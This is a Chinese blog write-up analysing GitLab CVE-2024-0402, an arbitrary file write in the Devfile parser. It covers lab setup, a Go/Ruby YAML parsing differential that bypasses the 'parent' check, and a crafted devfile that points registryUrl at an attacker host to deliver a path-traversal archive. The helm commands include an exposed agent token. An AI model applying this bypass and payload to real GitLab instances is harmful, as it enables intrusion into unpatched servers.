Gitlab CVE-2024-0402 Devfile解析器任意文件写入漏洞分析

前言:这篇笔记主要记录Gitlab CVE-2024-0402 Devfile解析器任意文件写入及武器化

参考文章:https://gitlab.com/gitlab-org/gitlab/-/issues/437819
参考文章:https://gitlab-com.gitlab.io/gl-security/security-tech-notes/security-research-tech-notes/devfile/
参考文章:https://devfile.io/docs/2.2.2/what-is-a-devfile
参考文章:https://devfile.io/docs/2.2.2/referring-to-a-parent-devfile#parent-referred-by-uri
参考文章:https://gitlab.com/gitlab-org/ruby/gems/devfile-gem/
参考文章:https://gitlab.com/gitlab-org/ruby/gems/devfile-gem/-/blob/1573dfa774a9d2c8f1335095c7f1ff5f7853f2d9/lib/devfile.rb#L45
参考文章:https://archives.docs.gitlab.com/16.6/ee/user/clusters/agent/index.html
参考文章:https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent
参考文章:https://gitlab.com/gitlab-org/gitlab/-/blob/426689d290f0a7f86f2f01298e974c433ff235fb/ee/lib/remote_development/workspaces/create/pre_flatten_devfile_validator.rb#L53

CVE-2024-0402

环境搭建

sudo mkdir -p /srv/gitlab_16_6_1
export GITLAB_HOME=/srv/gitlab_16_6_1
docker run -itd \
-p 8001:8001 \
-p 8002:22 \
-v $GITLAB_HOME/config:/etc/gitlab_16_6_1 \
-v $GITLAB_HOME/logs:/var/log/gitlab_16_6_1 \
-v $GITLAB_HOME/data:/var/opt/gitlab_16_6_1 \
--restart always \
--privileged=true \
--name gitlab_16_6_1 \
gitlab/gitlab-ce:16.6.1-ce.0

影响版本

16.6.0 <= GitLab CE/EE < 16.6.6
16.7.0 <= GitLab CE/EE < 16.7.4
16.8.0 <= GitLab CE/EE < 16.8.1

漏洞分析

关于devfile

参考文章:https://devfile.io/docs/2.2.2/what-is-a-devfile
参考文章:https://gitlab.com/gitlab-org/ruby/gems/devfile-gem/

您可以使用devfiles来自动化和简化您的开发过程,方法是采用公共社区注册表( public community registry)中提供的现有devfiles或编写您自己的devfiles以将配置和运行构建环境的自定义指令记录为YAML格式的文本文件。

您可以在支持的构建工具和 IDE 中提供这些 devfile,这些工具和 IDE 可以自动处理 devfile 指令,以从开发项目配置和构建正在运行的应用程序。

使用devfile中推荐的最佳实践,有如下几种:

  • 获取托管应用程序源代码的存储库。

  • 构建您的代码。

  • 在本地容器上运行您的应用程序。

  • 将您的应用程序部署到云原生容器。

这边可以简单的看下公共社区注册表中已经开源的devfiles文件,如下图所示,可以看到这是.NET 5.0的基础环境的构建实现devfile文件

https://registry.devfile.io/viewer/devfiles/community/dotnet50

devfile-gem

参考文章:https://devfile.io/docs/2.2.2/referring-to-a-parent-devfile#parent-referred-by-uri
参考文章:https://gitlab.com/gitlab-org/ruby/gems/devfile-gem/-/blob/main/ext/main.go
参考文章:https://gitlab.com/gitlab-org/ruby/gems/devfile-gem/-/blob/1573dfa774a9d2c8f1335095c7f1ff5f7853f2d9/lib/devfile.rb#L45

devfile-gem是gitlab自己实现的一套devfile环境构建的二进制go文件,实际上就是对devfile的调度封装,它支持五个函数的命令行操作,如下图所示

其中devfile-gem支持flatten方式,具体的是https://github.com/devfile/library/blob/main/pkg/devfile/parse.go中进行引用解析操作

其中还需要注意的就是,在devfile中我们可以通过设置parent标签来让devfile引用外部的url文件进行环境的构建,如下图所示

这里可以通过flatten方式来通过parent标签引用外部url构建环境来进行测试devfile,这里构建的nodejs的环境

schemaVersion: 2.2.0
metadata:
name: my-project-dev
parent:
uri: https://raw.githubusercontent.com/devfile/registry/main/stacks/nodejs/devfile.yaml

这边通过devfile来通过flatten模式来进行测试,如下图所示

root@8f506de45edd:/opt/gitlab/embedded/lib/ruby/gems/3.0.0/gems/devfile-0.0.24.pre.alpha1-x86_64-linux/bin# ./devfile flatten 'schemaVersion: 2.2.0
metadata:
name: my-project-dev
parent:
uri: https://raw.githubusercontent.com/devfile/registry/main/stacks/nodejs/devfile.yaml'

可以看到尽管文件不存在,但是devfile还是拉取了远程的项目文件,如下图所示

https://raw.githubusercontent.com/devfile/registry/main/stacks/nodejs/devfile.yaml

Yaml在golang和ruby解析的差异性

参考文章:https://gitlab.com/gitlab-org/gitlab/-/blob/426689d290f0a7f86f2f01298e974c433ff235fb/ee/lib/remote_development/workspaces/create/pre_flatten_devfile_validator.rb#L53

在实际环境中通过web触发的时候devfile.rb还有一个条件限制,其中可以看到会验证devfile中的parent字段,如下图所示

但是这边的话我们需要用到parent,所以这边的条件判断就是需要绕过,这边利用的就是通过!binary解析的差异性来绕过,最终的效果就是ruby中检验parent是不存在,而go构建的devfile二进制文件解析parent字段是存在的,让其去引入parent字段指向的外部devfile文件

test.yaml

!binary parent: foo

demoYaml.go

package main
import (
"fmt"
"gopkg.in/yaml.v3"
"log"
"os"
)
func main() {
data, _ := os.ReadFile(os.Args[1])
unmarshalled := &yaml.Node{}
err := yaml.Unmarshal([]byte(data), unmarshalled)
if err != nil {
log.Fatalf("error: %v", err)
}
var expanded interface{}
err = unmarshalled.Content[0].Decode(&expanded)
if err != nil {
log.Fatalf("error: %v", err)
}
d, err := yaml.Marshal(expanded)
if err != nil {
log.Fatalf("error: %v", err)
}
fmt.Printf("%s\n", string(d))
}

demoYaml.rb

require 'yaml'
require 'date'
x = YAML.safe_load(File.read(ARGV[0]),aliases: true)
y = YAML.dump(x)
puts y

可以看到同一个yaml文件,在ruby和golang中对于解析一个主键的情况是不同的,如下图所示

Devfile解析未安全处理压缩包路径跳跃问题

参考文章:https://github.com/devfile/registry-support/blob/47b3ffaeadba7babb7075e0576584cfaa3f64341/registry-library/library/util.go#L76

gitlab中的devfile二进制工具解析.devfile.yaml的时候由于可以指向远程registryUrl地址,其中由于filepath.Clean对于压缩包文件名未过滤完全导致存在目录跳跃的情况,如下图所示

schemaVersion: 2.2.0
!binary parent:
id: nodejs
registryUrl: http://ATTACKERHOST
components:
- name: 'test'
attributes:
gl/inject-editor: true
container:
image: registry.gitlab.com/gitlab-org/remote-development/gitlab-remote-development-docs/debian-bullseye-ruby-3.2-node-18.12:rubygems-3.4-git-2.33-lfs-2.9-yarn-1.22-graphicsmagick-1.3.36-gitlab-workspaces

web配置应用devfile

参考文章:https://docs.gitlab.com/ee/user/workspace/configuration.html#set-up-a-workspace
参考文章:https://www.cnblogs.com/zpchcbd/p/18184207

到目前可以本地进行配置gitlab来进行执行devfile文件构建的操作,构造devfile环境之前,需要搭建一套对应的k8s环境进行,这边我用的是minikube搭建的k8s环境

这边的话创建了一个仓库名为demo,然后在对应的.gitlab/agents/rce目录中创建一个空内容的config.yaml,这里的agent名称为rce,如下图所示

接着在该仓库中连接对应的集群gitlab agent,这边的话就是rce这个代理集群,如下图所示

在k8s集群的机器上面执行如下命令,创建对应的gitlab agent代理,如下图所示

helm repo add gitlab https://charts.gitlab.io
helm repo update
helm upgrade --install rce gitlab/gitlab-agent \
--namespace gitlab-agent-rce \
--create-namespace \
--set image.tag=v16.6.0 \
--set config.token=glagent-941ZhU1SqFNUngw-F4GtFcGfq1-XQyxzSoX_-3p8Qpyp2AxP2w \
--set config.kasAddress=ws://112.124.31.203:8001/-/kubernetes-agent/

注意:上面提供的命令中默认端口为80,但是如果gitlab默认注册的端口非80的话,那么记得需要自己修改下对应的端口,我这边gitlab的web服务是8001端口,如下图所示

这边发现还需要配置对应的远程环境才能打开worksapce功能,这篇文章复现就记录到这里先,后续如果有机会的话再进行记录

posted @   zpchcbd  阅读(12)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
点击右上角即可分享
微信分享提示